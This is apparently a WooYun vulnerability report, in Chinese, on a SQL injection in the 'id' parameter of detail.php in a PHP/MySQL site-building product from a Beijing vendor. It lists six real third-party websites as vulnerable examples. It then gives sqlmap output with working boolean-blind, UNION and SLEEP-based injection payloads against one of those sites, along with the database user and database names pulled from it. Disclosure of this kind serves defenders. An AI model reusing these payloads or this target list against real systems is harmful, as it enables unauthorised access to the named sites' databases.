WooYun.org

1、建站程序类型：php+mysql
2、漏洞类型：SQL注入
3、缺陷文件：detail.php
4、注入参数：id
5、涉及版本：全部
7、危害程度：高危
8、涉及厂商：宏云浩海（北京）科技有限公司
9、厂商网站：www.bj-cloud.com
10、安装量：超大
11、是否拥有源代码分析：暂无
12、是否默认配置：是
案例如下:
http://www.cnpamirs.com/ch/detail.php?id=1&zid=4&infoid=13&en=c id=1
http://www.taidesteel.com/en/detail.php?id=2&infoid=7&en=c id=2
http://www.kdw.com.cn/ch/detail.php?id=7&infoid=10&en=c infoid=10
http://web440507.dnsvhost.com/ch/detail.php?id=1&zid=4&infoid=13&en=c id=1
http://taidesteelmesh.com/ch/detail.php?id=5&zid=15&en=c
http://ruika-sh.com/ch/detail.php?id=3&infoid=5&en=c infoid=5
测试第一处！
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 2905=2905&zid=4&infoid=13&en=c id=1 AND 2905=2905
Type: UNION query
Title: MySQL UNION query (NULL) - 29 columns
Payload: id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171627871,0x69766c48424b6f6c5653,0x7163616d71
),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&zid=4&i
nfoid=13&en=c id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171627871,0x69766c48424b6f6c5653,0x7163616d7
1),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=1 AND SLEEP(5)&zid=4&infoid=13&en=c id=1 AND SLEEP(5)
---
[16:11:02] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 5.2.17
back-end DBMS: MySQL 5.0.11
[16:11:02] [INFO] fetched data logged to text files under 'C:\Documents and Sett
ings\Administrator\.sqlmap\output\www.cnpamirs.com'
[*] shutting down at 16:11:02
current user: 'web440507@%'
current database: 'db_web440507'
available databases [2]:
[*] db_web440507
[*] information_schema